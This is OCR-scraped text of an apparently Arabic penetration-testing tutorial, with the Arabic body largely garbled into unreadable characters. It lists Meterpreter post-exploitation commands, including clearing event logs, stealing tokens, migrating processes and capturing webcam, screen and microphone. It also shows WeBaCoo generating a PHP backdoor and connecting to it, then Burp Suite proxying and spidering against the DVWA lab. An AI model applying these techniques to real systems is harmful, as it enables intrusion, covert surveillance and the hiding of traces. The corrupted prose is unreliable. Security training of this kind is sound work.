lcd
Tpwd
1s
mkdir
mv

pwd

rm
rmdir
search

show_mount

upload

:File System Commands

olhill ailalo go Joleill lii4ay Meterpreter shell glc Jgnall o

alogleill 03@ plyiiwly warall

Stdapi: File system Commands

Read the contents of a file to the screen
Change directory

Download a file or directory

Edit a file

Print local working directory

Print working directory

Change local working directory

Print local working directory

(5 = o R =T

Make directory

Move source to destination

Print working directory

Delete the specified file

Remove directory

Search for files

List all mount points/logical drives
Upload a file or directory

alalall go Joleill gu4ill olhhi alogle’ plaaiwl Liiday ple Jauu

arall plaill ga

.alo ¢gino yc :cat =
Alvoll puoi :cd =
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Alho gl walo Jioni :download =

.alo (Juaei edit =

Al plhi qd (oIl jlwall e :getiwd =
Al plhi qa (oAl jluall juioi led =
Jhll aaoll (ggino Ayc :Is =

Alao clui] :mkdir =

arall plhill gd lall jluall (A)c :pwd =
.H2o ddlo iy :rm =

.(H2o Mo Wl crmdir =

.Heo dalo jc &ull :search =

Alao gl walo gaj :upload =

:Network Commands

Stdapi: Networking Commands

the host ARP cache
getproxy ' the current proxy configuration
ifconfig interfaces
ipconfig Display interfaces
netstat Display the network connections
port fwd Forward a local port to a remote service
route View and modify the routing table
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jlaall ga dapill agys alogleo (e :Ifconfig & ipconfig =

aaall
dhaill adlnidl daild e :netstat =

dj@aVl Ay ailoaay plidll Lil aouwi :portfwd & route =

clearev
drop_token
execute

getenv
getpid
getprivs
getsid

getuid
kill

ps
reboot
reg
revzZsel f
shell
shutdown
steal token
suspend
sysinfo

arall plhill d4u od 83gagall

:System Commands

Clear the event log

Relinquishes any active impersonation token.

Execute a command

Get one or more environment variable values

Get the current process identifier

Attempt to enable all privileges available to the current process
Get the SID of the user that the server is running as

Get the user that the server is running as

Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry

Calls RevertToSelf() on the remote machine

Drop into a system command shell

Shuts down the remote computer

Attempts to steal an impersonation token from the target process
Suspends or resumes a list of processes

Gets information about the remote system, such as 0S

aiall jlaall ge alogleo yayer pgdi :sysinfo =

arall plhill (oa aMawll quo dlglhoy pgdi :clearev =
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cladall carall plhill (oa plAill dMaw oy pgdi Jl wag
lay liod oIl aliloellg jLiVI

windows7 o GMauwll 0Aa dig) Jaod

{2l Event Viewer (Local) | Security Number of events: 4,151

y Custom Views

4 “a Windows Logs Keywor.. Date and Time Source EventIC “
] Application 4 Audi.. 10/22/2013 8:06:28 AM Micros... 467;
Is]| Secunity \ Audi... 10/22/2013 8:06:28 AM Micros... 4624
{ | Setup “\ Audi.. 10/22/2013 8:06:28 AM Micros... 4645
ls] System % Audi.. 10/22/2013 8:02:28 AM Micros... 467:
|| Forwarded Events =, Audi... 10/22/2013 8:02:28 AM Micros... 4624

) Applications and Services Lo| | &4 Audi.,. 10/22/2013 8:02:25 AM Micros... 4672
1 Subscriptions | Audi... 10/22/2013 8:02:25 AM Micros... 4624
W Audi.. 1072272013 8:00:26 AM Micros.. 461¢€
< Audi... 102272013 8:00:23 AM Micros... 24
A Audi.. 10/22/2013 8:00:19 AM Micros... 5024
L Budi 10722701 2 RO01R A Mirrne 1 -
‘ o R

olhill o4 Ay lind il aliloell gle ggai gl g0y ailawll oa
:dulill dodleill JUA o laway pgdi gl wug warall
‘] W '.V:-:-rir'a:]- 1587

| Wiping 514

| Wiping 41
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Arch Session

[System Process]
System

308 SmSSs.exe

151010} 488 CSrss.exe

572 488 wininit.exe

596 580 CSrss.exe

636 572 services.exe
668 572 lsass.exe
676 572 lsm.exe

684 580 winlogon.exe
772 636 svchost .exe
824 636 svchost .exe
884 636 VsSsery.exe
944 5920 chrome.exe
ogle\Chrome\Application\chrome.exe
1124 636 svchost.
1184 636 svchost.
1212 636 svchost.
1236 636 svchost.
1380 636 svchost.

wrall plhill ga Jogi ol allaolly dofld (el ps =

alnlln ald ddac go Juddl Jdi api loaic 6aido cilogleall 0@
ullc Al Al dyloc o] dadai

dplaell pdp degiio "migrate” dayleill plaiiwl Jdill dyloc aii
lal JLaiivl alpoll

Gl ldai g <l o 350 L)




meterpreter >
[*] Migrating
Migration completec Jlly.

od alwgpall slao wldyy doyleill oda go dalaiwyl Jhoay Lod

diloc odp degiio "kill" dapleill olaxaiwl JMA jo warall jlaall
LJlwgpall alrho

:dgn ghldog g1ad J1auig jgn hldill

:webcam video =
dalioll aljlAll j @Ay dllill douleill

run webcam -h

meterpreter > run webcam -h
webcam -- view webcam over session

OPTIONS:

-a Store copies of all the images capture instead of overwriting the same file (Defaul]
: overwrite single file)
<opt> Loop delay interval (in ms, default 1000)
Just grab single frame

Send to GUI instead of writing to file

Help menu

The index of the webcam to use (Default: 1)

Keep capturing in a loop (default)

The path to the folder images will be saved in (Default: current working directory)
The JPEG image quality (Default: 50)

Stop recording

R IO o e T I
0OV T30 —h
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:screenshots =

/rstyzCsF.jpeg

:sound recording =
dalioll aljbAll jajei dulill doyleill

meterpreter > run sound recorder -h
Meterpreter Script for recording in intervals the sound capture by a target host microphone.

OPTIONS:

-h Help menu.
-1 <opt> Number of 30 second intervals to record.
-1 <opt> Specify a alternate folder to save sound files to.

run sound_recored -h

! g9 dayloill plaatiuly pgdi duili 30 6xal aignll Jiawi Jal go
aljlia

:Running Scripts

p AT gl JAay illg scripts 200 (o Ji4] Meterpreter o4 Aag)
JALiwl diloc yoj

ddlill dogleill JUA go 6agagoll alinjéudl J4 jagel

run <tab><tab>

possibilities? (y or n)
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:Remote Shell

doyleill plaituwls layle Jgnall ghoy

Process 5320 created.
Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\isc-sa\Downloads\Programs

carall plaill gle DOS aloylei plaaiwl Lidoy Jil
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:Jangll lc dhdlaoll

ogdy dila arall plhill Jangll olc Tjalé §lyiaVl pito aunyg loaic
jlaally Jols Jasy pAaill go Jaoiyl backdoor oald by gjj

6y0 JAeiwl dilagy plidll (jgay clily (odo ayl] 63gellg diaall
sl aldgl wrall plhill Jgngll Lil paowi Jgngll audi diloc
:dyllill jgoVl JAA (o piy 1iag Widiuio

A odATo (Gla =

.d5losall JAA go Jgngll alalouw Gla
(FTP) Jio ciloaall jaer Jieai =
Aabnlnll peoi gl hya =

.backdoor 6\013 Jb gla

@ Jgngll dyjlpainl dilac Jua lolaaiwl ji4U1 61aU1 gg4i Loy)
994 Lo Lileg (punguill fuall ihw o 81311 oda Netcat
oalaall gV caaall plhill Jueiwl roj laynii piy 61al Jgl
go dialn] sjani Jieiwl Jglag dapidl oa Ldgac jaall gy
jlaadl plaatul gior (sAllg pivoting jgroill gowy Lo JAlA
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JAdaladl daull @n (_gp'i dialnl 6}&;? doalaal LLIb J2iwall
aliall 13a l_g\.CI daV Jna Lg\.CI Netcat olxaiwl (jc Jlo ¢llia
:Webacoo
papdly Jlnidl Lil aouwig backdoor @GlAs pgdi 81a3V1 oia
ISP Jalhill giog W c'iob_iijgb_ﬂ dlglanA jadio Jlail olaaiuly
SJLI jlaallg and IDS
dalioll ajlAll j @A dllill douleill

:~# webacoo -h

WeBaCoo 0.2.3

Anestis Bechtsoudis
@anestisk anestis@bechtsoudis.com http(s) :

Usage: webacoo.pl [options]

Options:
-g Generate backdoor code (-0 is required)

-f FUNCTION PHP System function to use
FUNCTION
: system (default)
: shell exec
. exec
: passthru
! popen

-0 OUTPUT Generated backdoor output filename

-r Return un-obfuscated backdoor code

:dllill douleill plaATwul bacldoor (Gla Lii4oy
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:~# webacoo -g -o test.php

WeBaCoo 0.2.3
Anestis Bechtsoudis
http(s)

[+] Backdoor file "test.php" created.

iyl i gog @§jisall yayull @l caloll 138 gay g way Ul
Gylill doyleill plaAimly gl

:~# webacoo -t -u http://127.0.0.1/test.php

WeBaCoo 0,2.3
Anestis Bechtsoudis
@anestisb anestis@bechtsoudis.com http(s) :

[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

'"load' to use an extension module.
":<cmd>' to run local 0S commands.
'exit' to quit terminal.

yapudl Jaly alpaled dlis of gog <emd> dlis Liidoy Jul
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daliall aljliall gage Jal go load dlis Liidoy o4

$ load
Currently available extension modules:
o MySQL-CLI: MySQL Command Line Module
mysqgl-cli <IP(:port)> <user> <pass> ex. 'mysql-cli 10.0.1.11 admin pAsS')

PSQL-CLI: Postgres Command Line Module
psql-cli <IP(:port)> <db> <user> <pass> . 'psqgl-cli 10.0.1.12 testDB root pAsS')

Upload: File Upload Module

upload <local file> <remote dir> ex. 'upload exploit.c /tmp/')

Download: File Download Module
download <remote file> (ex. 'download config.php')

Stealth: Enhance Stealth Module
stealth <webroot dir=> (ex. 'stealth /var/www/html')

[*] Type the module name with the correct args.

Japull ol alale eaj gl Juoad Liiday AT o4
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:Jndall 1A@ ¢gino

ewAgy cug phATwl aic alilyll jgic drals =

Burp Suite
Zed Attack Proxy (ZAP)
Acunetix

The only truly secure system is one that is
powered off, cast in a block of concrete and
sealed in a lead-lined room with armed guards
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:doAdo

Jga alogleog Jinlai yogi cugll Guhil nadllg gMhiwyl dlajo
digiall (jgnllg hilgyllg cilalaallg ailalallg cilaanll) Jio jalnall
ol Yoy (sill alogleall o Txa dodo cljal elia gl Guhil
Lany wugll Guhi Jioiwl dilac JuA padiwi

Jelaiy jano 4 walnial goaii cygll Guhi gllhiwl dilog) plLidll
gllhiwyl dilac JuA @aliial i il jalnall had wGuhill ago
go J4oo dac pal ani gi 1aa paall go ellAl lanaa piy cagu
ganii gl Guhi gMhiwl diloc od doriiwall algalll jalnall
adnioll go Juiyo HTTP/S wlh J4 cawsl (Aljicl quudgy =
gl Guhi go lalluy] piy dila] Jag
gl Guhil g4yilogil Jauiy ablhll Jeal spidering tool
JAI $9a1 Jaiiy alhll le sloicd [pao ggaT gl el
83gagall jalnall
plnall o aall gl aldphil anio aljef ge aal
Ll aaail dawidall
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(o Lolaaiul 41 alalaoll calitidV brute forcing 61l
Jalnall go Mjall cabdy gl gloy (oillg wigll Guhi

:%gll n".l ) dl oo 5.0 Ig £]II o0 I
J5 syl Jai go cugll Guhi glhiul dlog) pliall G bac dlia

déyph Jraal ayyaail Guhill Jooy «id pad o G4aiil jalnall
oA sillg sl

alalall d@un Jio HTML alalo Jay) dlasall alalall g4lol

g drop-down dlaywioll ollgdll (Gisling .dradoll ¢ilalallg
(radio button jLLiAV| ollgd

alilhg HTTP cookies j19gAllg HTTP headers ciluugyi jaaag =
URL

2o Guhill Jclaiy card digyl URL and POST ailjioljly guii =
«alildl 6acld

Wily o HTML and JavaScript Ji2ii dealjos plidll =
pMAiwoll

0a4d ole Jgnall Ay b 13] Taa dodo alghill oda aalilly
auigll go dlygh 8)ia lhii aidlg wall gl Gubil Goc
38 o alghill 0da J5 apiu pgal gl daopll dajeog ailjlaallg
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lal\oimlg [@alinidl ghoy il alpeill e hia j5)1 cagu qlisll
il Jary 8yagiall algaVl yaer plaiiml dlgauy

(aoy ol spidering tools plaaiuuly g\lhiwl dilogoy pgdi caguw
Plnall @hinidy gy Jadu gl @Atilogil Jady Jaeil laalac] piy
gllhinyl dlac JUi dadifall jalnall warall wgll Guhi ga
gl Guhi o8 aligill ge dayll gaaall dyloc o pAiiwT g
ugll pij (o aligill ge ényl ddyhnl alio Jady

:egll guwidgp alialwl

@lial Juial duloc oa @) doli dayeo gle ggai gl way Jac Jgl
Alo paai gl waug ehanio od Jaoll wlgull slac] ga gl
gl Guhig clhanio gy Jelai vic gunagy clolyitul aic &y

(priiwall) aanioll @ pgiy 3l Jooll cajeiy pgdiw dilal o
Jup aaniall \ogUl oa aljall gullo (pajull) cugll Guhig
aaniall | abla¥l Jlugh ap Guhillg cugll Guhi od] abllin
il lioladiwl JAA pii 8)gall 03@
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ablalg ablh go &jgall oda Jooi wars digy el pouy gauigpll
@aair paniig cugll Guhig aaniall gu ggis gl il
il JAull (s La8 opc jai il ablaylg aldhll go alilyll

Request
ﬁ
~ = Response ~
Browser Web application
(client) (server)

8 yand ol pald auniu ey galAll qAgpll alacly pgdi loaic
alyioljll ud jueig yaljicl eclifoug alla Jo joi dila] Jag wlh
JUoiwl od 111 dilac domall odAg .diloell 0dd a doriiuwall
gl aldyhy

allhll J4 cuupaal gl jyli hanl ga qygll ewSgpl JAT pladiul
lAag alilayl go Jalii ¥ ablhll .alia go joi &ill ablaylg
Lalsiwl Jal go ganall dilac JilA Ly [@naay il aowu

:Burp Suite

wpld swigps (nito J4iu Burp) gl Burp Suite paiiuwi caguw
.alionil dalay ggai (g Jdldli Jau JlS plhiy agago gag L

@GliaVl diloc JAA Burp Suite (o4 ailgal 8¢ padiii cagu
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favorite bar (jo Burp J Jgndgll j40

g8 ellal Jroaill dilog) pgdyl 8j0 Jgl ilgd 8ac Aaly gl 4oy

Jeita

:Burp Proxy alacl

alacly pgdi gl wiay HTTPIS alilalg alilh g8 ole Jgnall Jal go
ddlill alghAll JMA o @J.uﬁg_j_l rDI\'.\.I.uI_\J clhanio

HAl ai Iceweasel paniall piar pd
Preferences >> Advanced >> setting

Preferences - Iceweasel

Welcome :: Damn Vul... ",_:'. ﬁi Preferences x \ +

€ @ Iceweasel | about:preferences#advanced

Must Visited ¥ “Offenslve Security \Kal\ Linux '\Kau Docs ‘\Kau Tools ™ Exploit-DB ‘A\r(rackfng

o a

B g »

General
Search
Content

Applications

Privacy

Security
Sync

Advanced

Advanced

General Network Update Certificates
Connection

Configure how Iceweasel connects to the Internet

Cached Web Content
Your web content cache is currently using 101 MB of disk space
QOverride automatic cache management
Limit cache to 350 MB of space
Offline Web Content and User Data
Your application cache is currently using O bytes of disk space
¥ Tell me when a website asks to store data for offline use

The following websites are allowed to store data for offline use:

B ¥ & D

Settings...

Clear Now

Clear Now

Exceptions...
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Ll glgiell JAalg Manual Proxy Configuration jiAl fo¥ X

Jdgainll Jay auuol g port 8080 g 127.0.0.1
NO Proxy For

Connection Settings

Configure Proxies to Access the Internet
(' No proxy
) Auto-detect proxy settings for this network
() Use system proxy settings

® Manual proxy configuration:

I I &

HTTP Proxy: | 127.0.0.1 Port: 8080

|| Use this proxy server for all protocols

I I &

55L Proxy: | Fort: ¥
I [ [ &

ETP Proxy: Port: 4]
SOCKS Host: | | Port: | ol

() SOCKS v4 @ sOCKS v5 [ |Remote DNS
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24
() Automatic proxy configuration URL:

I Do not prompt for authentication if password is saved

| Help | | Cancel || oK
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:Spidering With Burp
el Llifay «quubgus Burp paiiwyl 298 claanio aunl il
gl Guhi gMlihiwl dilog

laaiinig wigll Guhi jalno J4l dwiaa Joc ga :Spidering
Jol4l crawling dilogr olidll JAA o Lany lasladiwl Jal go

gl Guhi
alog diatilogil gl digagll paiiwi cagu déyph gi ga JIguul
ddyh Ja go éailall

clalaal olc Aaiei jLiaVl dilac

:Automated Spidering

Jasy hylgyll albhg slulg URL glgic sl 3l pii dilaell oia
Jio gulun Joc gl5 gl @in @i agowo Jac sl plidllg Atilogil
lo gl cuanill dilag) plidll gl pull dols i gl agjall Jiawsi

! aliisl piy ¥ gl odl )AT JAn éaay andl 3@ elly agbiy
Jalnall carinil gdgall dhypy ujal piig A
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URL J olcll «cgimall jgiu Lo Liale automated spidering (Ao
Jgogdy V ggoalaall .aic dlogleall goay pgdi (Ml cuigll Guhil
6puall drodll cuun carall glc automated spider plyatily Liale

sapall (o] @l pis il alyliall go

ablhll gasi dhailo aifay spall Juld gla gl oin d4u pao
wle gllhiwl diloey pgdy lo aidl gl dayeog IP glgic guai go
gl Guhi

:Manual Spidering

Jlall e olc Aloicl pilg passive spidering Lcul (SouLig
Ml gdgall dhypa clitl elldg aaniall plxATwly palaoll Jd o
2o (silc aanio plaiiwly eIy piyg .dic dlogleoll goa Ay
(SWAgH

Jawo (gcMhiwll diloc JAMA djpdl (olc halay Manual spidering
Guhi oa hilgll gl honlly cicpu cuuny dhid piy ablhll

gl papw pao aiiy JIAQ) ¢l dlia ggay o MSlillg cugll
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:Burp Spider Ji2uui

:dyllill alghAlly oiy DVWA A (g J4uu Burp Spider plaiiul

ddilull alghAll g los Burp Jiowmiy pd )

doydll padTlg quuigp plaaiwl Gifiivl adanio alach pd .Y
80 1jgullg 127.0.0.1 dunljiayl

dran | Jgngll aill aanio oa oIl glgiell Jasl ¥

DVWA (o4 Jgaall
http://127.0.0.1/dvwa

wle honlly pi Gildli Jasdy allhll J5 galyicl Burp ady al 13
solell hypill o intercept Jil oi gglell gl o proxy
interceptis on aunil interceptis off glc honl i gcyall

Burp Zuite Free Edition v1.5 Dutput: Muted
Bult-n Audio Aralog S

F Bufp Intruder Repeater Windew Halp
| Target | Flrw1 Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Opticns | Alertn

I Jmuru_ul.] testory | Optisns

Intercept is on

Raw Parame Headers Hax
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oUhll pyoi aitl forword glc honll od

Burp Suite Free Edition v1.6.31 e ® O
Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

_[ T HTTP histary TWebSockets history T Options ]

|_ﬁJ Request to http://127.0.0.1:80

| Forward ]| Drop ) f Intercept is on ] | Action |£J |1J
| [ Raw | Params | Headers | Hex |

DPOST Jfdvwa/login.php HTTP/L.1

'y

Host: 127.0.0.1 -

User-Agent: Mozilla/5.0 (¥1l; Linux xB8&_g4; rv:38.0) Gecko/I0100101 Firefox/38.0 Iceweasel/s/38.5.0

Accept: text/html,application/xhtml+txml, application/xml;q=0.9, */*;q=0.8

Accept-Language: en-US, en;qg=0_5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0. L/dvwa/login. php

Cookie: security=impossible; PHPSESSID=jsde3ghnléEleflo®ncdnfacrel

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 88

username=adminipassword=passwordilogin=Login&user_token=d820745651442e5bd4hfE68354££4ales
=
v

|. ? | < | + | > Tvpe a 0 matches

admin pxAiwoll puul olxaTull DVWA oll Jgaall pd ¢
password juull dolag

go dilal Jag @y pgdi ulh J4 dwyadg watiniy pgdy gll Burp
gdgall dhyas )0 Jaw gl ggay laag DVWA cugll (Guhi
(Ll JAuill o4 L8 (gArilogil J4uiy lacliu Burp pgdy
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Burp Suite Free Edition v1.6.31 v oW

Burp Intruder Repeater Window Help

Target Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts
Jrarget [ e [ spider | [ [ [ | [ [ | [ lerts |

Site map | Scope |

Filter: Hiding not found items; hiding €SS, image and general binary content; hiding 4x¢< responses; hiding empty folders

http://127.0.0.1 Host | Method | URL | Params | Stat... 4| Length | MIME type | Title
v I dvwa http:/f127.0.0.1 GET fdwwafindex. php O 200 7639 HTML Welcome
0a 1 GET Jdwwallogin.php (] 200 1895 HTML Login :: D
> E
o 1 GET s ] HTML
[ index.php 1 GET
) ) 0] script
[ :nsp LI-_:-_-ITS.|.-|1|_- 1 GET o HTML
[ login.php 1 GET O HTML
O 1 GET ] HTML
Oe 1 GET o HTML
O 1 GET (] HTML
Os 1 GET O HTML
1 GET foulnerabilities. .. (] HTML
[ . -

v
> / |
> —

. Request | Response |

: Raw | Params T Headers THex |

L GET Jdvwa/index php HTTE/1.1

>0 Host: 127.0.0.1

.- User-Agent: Mozilla/5.0 (¥1ll; Linux xB&_g4; rv:38.0) Gecko/Z0100101 Firefox/358.0
- w3.org Iceweasel/38.5.0

Accept: text/html,application/xhtml+xml application/xml;gq=0.9 */*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Cookie: security=impossible; PHPEESSID=jsdelgbhnleléBlS%nodnfacres
Connection: keep-aliwe

Gliavl jLial dlglanl scope aall hual wwlioll ciégll ga gul
Al URL or IP address (jlgic (ol] juiti gl clifay cun Burp o4
J4uiy al spidering dilac clpl pivug waras ojliicl ayyi
.sAtilogil

LAl (localhost) cugll japuu gle coutt Y4 gonlii wagu lillio o4
JHb henll JuA o scope Jgau 127.0.0.1 hiny pgdi «aguw

JLtialg 127.0.0.1 u dnlAll pa0ull (od root (glc yugloll (gitadll

scope Jaly (jgaul gdgall Jol4 Jlwyj| ainug add item to scope
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der Bepopinr Eedaw Falp

Burp it
| rarpe | | S | Braseer | truder | dnpeates | Segannies Beteder | Comparer | Esterdar | Swiess | ddeers

| e map | sosee |

#r Peding reof Peord damie. hedeng T35, image sl gerar sl binery cordest, Redine des reagoneen hedeg emphy feldars

[ R HEAr mlathgdl LB Wararmea | Biak . & Leraysh | bl g Titks
N | ki 0 2P 0L A2ronol CET idvairdes pha ] o] TN HTML Eeliome o &
127001 GET v Lto-gan pRp TS THL Lisgin -: DTy
LS TTEE T N R T T e ¥ |
Lompltd 488 i & ' i
{ wpdesd brarsh 4 " - a
f wji detvil Tk W16 A6 o N N - ) " ;
£ gllagin hrask . o E g |
Slatr Badl = -
w LML i S Padl |
o ulu‘h"p-nr-u
L ks in 1 =
L meied dem i | Farema | Headera | Ha
5h L 4 3 it L B [ 5
== 1T7.3. 8.k L3
gral | Faid [
sl kD
tari i e asppliced
- L aFeifiacin
B -areg
wnran i
Lk ¥

scope $10 od Jgiul g Guhi glgic go JEl capai gl elidoy
Jo scope olc honl.clial ollall scope (gyil ielial (§lyiall jLiAl
d1g)g lanial alalaall gle hoall elifay ocpall sglell hyjuull
&)Liny AT diiwoll digd)Vl Lalily Burp l@iag il alhanll
oo ad lalAly o diilo draln] willhg dlai ol alaanll
Jiawi Jio Jlocl dyalil alyioljly padiwi alhanll oda gVl

@ alhanll odag alilull clexiwl gl alilyll 8xclé slacl gl Jgaall
dynamic pages

Jdi Vil qugll alhan @] 8jlity) padiwi cbapll daanll digdyl

static web pages 310 Qg dllAro
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piig (91 Jadu lalhy pgdi oIl lnall J@AT gdgall dhypa
pgdy Burp Spider galjial Jauy (guwagpll dhulgs ladging
ablaVlg aldhll JAl passively scan Jlea ji¢ Janu gaaa diloes
oda uwlhi l (passive) digadl Spider dilac .hilgldl Jal HTML
iigoll dhyA o4 [@ijoniy pgdiu Ji Jalnal

jolui gagall dhya lé DVWA go dala] alan aani loyic
Jluell dglall cugll alduhig directory 127.0.0.1 Jaly laialaly

diajall gdlgoll oda@ aaniy pdi al ¢l .DVWA ud (o L]
ladhy daanio pld oill DVWA cilhan aé layl] jLilo laidlg

iyl éyl LS\GT_G:\AJ,D e @'I'Jlggll vl

o daan J4 §jlujy pdi al | passive spidering plaaiwl aic
daan 20 go Jalg «gdgall dhyja od laieAi Jal go DVWA
gdgoll dlols dhyja gle Jnai gl ghoy Jugh adg Aali gl illg
Laioalaal aljioljlll g alhdan!l auaai elidoy l@rer wugll Gubhil
alelul hulgy ole heni gi g4oy Iaa pudll aldyhill ga galg
0Ad (ad (400 hilj J4 cnid dépdall g clil dilon gga 8agac
automated olxATwl elifay dipll o Gld Jai al 1Alg dllall

spider
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Guhi Jola gi carall wugll Guhi go gra s jlial Loyl eliday
site doild Jaly gugloll giraull jjlb heall JUli go ellig cugll

spider this branch jlLiilg map

Il alslacll Ao cllia automated spider dilogy el Jud
gl go options o sglell hypill o spider JUA (o laiealjo
r oLl Jacull o 104 qcpall sglell

Burp Suite Free Edition v1.6.31 O
Burp Intruder Repeater Window Help
[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts |
[ Control | Options
5

2J
(@) These settings control the way the Spider crawls for basic web content.

[ Check robots.t<t

[] Detect custom "not found" responses
[ lgnore links to non-text content

[#] Request the root of all directories

[#] Make a non-parameterized request to each dynamic page

Maximum link depth: 5

Maximum parameterized requests per URL: |50

3
2J
(@) Passive spidering monitors traffic through Burp Proxy to update the site map without making any new requests.
[ Passively spider as wou browse
Link depth to associate with Proxy requests: |0
@
(@) These settings control whether and how the Spider submits HTML forms.
Individuate forms by: | Action URL, method and fields _VJ
) Don't submit forms
() Prompt for guidance
® Automatically submit using the following rules to assign text field values:
| Add | Enabled Match type Field name Field value
. &) Regex mail winter@example.com A N
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Burp Suite Free Edition v1.6.31 &

Burp Intruder Repeater Window Help

Target Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts |

Control | Options |

2

Use these settings to monitor and control Burp Spider. To begin spidering. browse to the target application. then right-click one or more nodes in the target site
map, and choose "Spider this host / branch”.

| spider is running | Clear queues |

Requests made: 172
Bytes transferred: 881,224
Requests queued: 0

Forms queued: 1}

&)
@] @ Use suite scope [defined in Target tab)]
- () Use custom scope

rengll Guhi paa

alydll BLASY 854ilogil dayh godi wygll @b (ad dilac
pajull alae] sl pgdy (Al Nessus J ailiio Jady Guhill g4
61gdaall ailewdyill gl dihlAll

Web server misconfigurations and missing patches

adanioll Ju gngi web application scanners ¢iadl aglal phoo

cilgaVl (o degoao (Jo cja 29 cugll gy Jio cugll Guhig
Burp Suite and ZAP Jio

dilayl Jlug Guhill oIl Ligy ggino Jas Jup Web scanners
JLlwj| web scanner J giludll (o .dagyeall alpelll gudlgi Jila jo

Gl ldai g <l o 350 L)




elgilll Ja ynaal wygll Guhi ea Jasll Jas o] aldall go alio
[alpelll eudlgi o dalitall
lo@ayei jl uay web scanners |J (ucgi cllia

Burp Suite scanner
Scanner in OWASP,s Zed Attack Proxy (ZAP)
llga ojow (gAllg pro version jlanli hia jagio Burp Scanner
Burp Scanner i ga yall cgaitdl qliall 13a dlis cliil $300
ZAP go Joell elido) gllillig ZAP Scanner (Joc ddyjhy 13 au

Burp Suite Pro clpi gihiwi a7 al [3]
:alyeill glgil

81211 e phaill gaer wigl aldphi alyel go dud) glgil Gli dlia
JLiaVl dilooy pliall laol it A (ol

:dylill jgoVl auanTy pgdul j@ao Web scanner

Japudl dila (jo Input-based vulnerabilities  Jaall aljoi =

Jsdiill pliai alayled géing alilyll aclgd alagled gis Jio
SQL injection and operating system command injection

déihy oapaai qen ggir gl gaer ga aljill go ggill [Aa
e od cugll Guhi go dilayl gV web scanner plaaiwl dulay)
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612 GLAISY ($Aguld Jlio japull ily go laaliy] ai) glnl
3) 1Al URL glgiel (") yaunii 6jlul daln] iy éiin SQL injection
64911l oday ulno ail iz i@ lha dllwp Guhill

Cross-site Scripting Jio :pailwall aila go Jaall alyolr =

(XSS)
alpeill o ¢qill 1A@ aanT gihini web scanners ahoo

(o ga padimell qily o 3gall gV (Ggigo JAuiy

i dillg alhll 6)gy yana JUA go laaad piy ol aljeill =
alaldg droao poll pagall Jluyl Jio cugll Guhig aaniall
o crall doaldal praiwi aljeill 0da 6o el yull
gl padiwog cugll Guhi go J4
il o gqill 1aa camAi gl laidoy web scanners plhoo
Jauy diijo ggai wugll Guhi go dilhllg aaniall go wlhll
Junil hda aling gaa ¢llil scanner dnaldl Jid Jo Jola
MLl dijldog

oxATwall gl alyioljly cuild 13] loga ynaa wenll go guyl :Alio

HTTP jic qon0 pi¢ Jady Jupi pull dalg
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:0alay] ailpill ge dalyl grhivg ¥ Al Lo

Aoy o dll alpoill glg.ii o cuc cllai Web application scanners
clolaAiwl (Jid lal layiio Jgai gl uay gdlgll o odllg L@kl
B1aVl odal

Jid go laais gl V il gl aldphi aljel daild oia
gl janall 2gidog (ailao Jgla 13] paill A<y automated scanners
dlao e gls
Jglay cagw spider gl go péplly :darenll pull alols =
pAdT (ol dpaljiavl alslawdll plaiiwl Guhill o] Jgaall
diawi aaiy 63k avla o weald] Ggino Alayl Jal go hda
el g Bl ¥ énldl L dgalyiayl alblasdl plaaiwl Jgaall
Jawdl go paall alwa gla gl gin elAl il dold caon ga
8y2ill odal dliy ¢l gody gl énldl gla digaAi
cl83 elloy ¥ énll zgizo gl dy¥a al GAll yioljldl puul =
Guhill dlJs gl gieo lal il aljioljldl salo wajell oals
dliug 18 gl eia aljioljll odal dalidall pydll edlog

iloa doao dyalil
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Jods Lo Tali alpeill go ggill 1Aa (U :Stores SQL Injection =
alyeill go piei dole )gny sda aalyl ] agei Tpilio dlal
go lolai yudell gl gag aalll Jud go l@ams aiy U gl
&bl dyyga dila) gl 3y g0di il dialéill SQL injection
Igul (oa saual dagyeall alyill guilgi go Lavijléoy pgéyl
dayiill J4lg stored SQL injection 3gag (e @l énldl glaVl
adgll go dligh 8)ia ro clldg dulw Jgad

pAnill dyidi doalawo glc §)rdll :Jgnglly pAaill jus =
cjay U anldl gV anldl i go layl] sylayl piy ¥ Jgngll
gl Al padiuio jalno gll Jgnglli priiwall pgdy loaic jgoll
ellag paall jalno ol Jgngll olc 1jalé pariwall g4y loaic
o Lo Il eljay Vg (dhio jljd daiy of gy U énalll gl
0@ od gl @Guhi lmoraty il pydllg alyioljlll
.doaall

alghi alhii il alyeill J4 Luydi :Multistep Stored XSS =
le 8)aéll ellay M diVl &bl J1d o laams aiy U 8a10io
s b Juitdy cagu énbll lio (dlwlwiall cilghill pag
oA (od g dilac o dillill 6ghAll (o4 stored XSS 6,91
Il Jad guighi Jgi Jlod] ole 8)adll elloy V dill allgha

001l daan
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6)2ill oda :Forceful Browsing (file and directory forcing) =
anldl JAA go layl] 8jLull piy Vg (spall aanill guuly (ajof
Jgdig slito JAudu aslinio jalnal 8aaeio alilh Janili lail
Jraill ela gle 6)ald
dllh paay gl grhivg Y aill elly gé Juitay cagu énlll
diglhall jalnall JaI Guhill Jiooud

pe dulall cayes Jluy) Jio dulall aljef :dwlall doalfo s
Jio duwlall daalawo ¢lgil eljay gl énldl . g0a0 ppé HTTP
gonii aloaall go ¢lgiVl oda J5 .dwlall wgdy gl cudi
&l sl Jlao gjla aag dinnllg palaall gy sy Jelai

.automated scanner (._.954__'|'Log_'|'|
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pladaiwbli yanall
:ZED Attack Proxy (OWASP-ZAP)

A4 a1a JAdy Burp Suite paai gl aag ZAP ol JLativl Jid
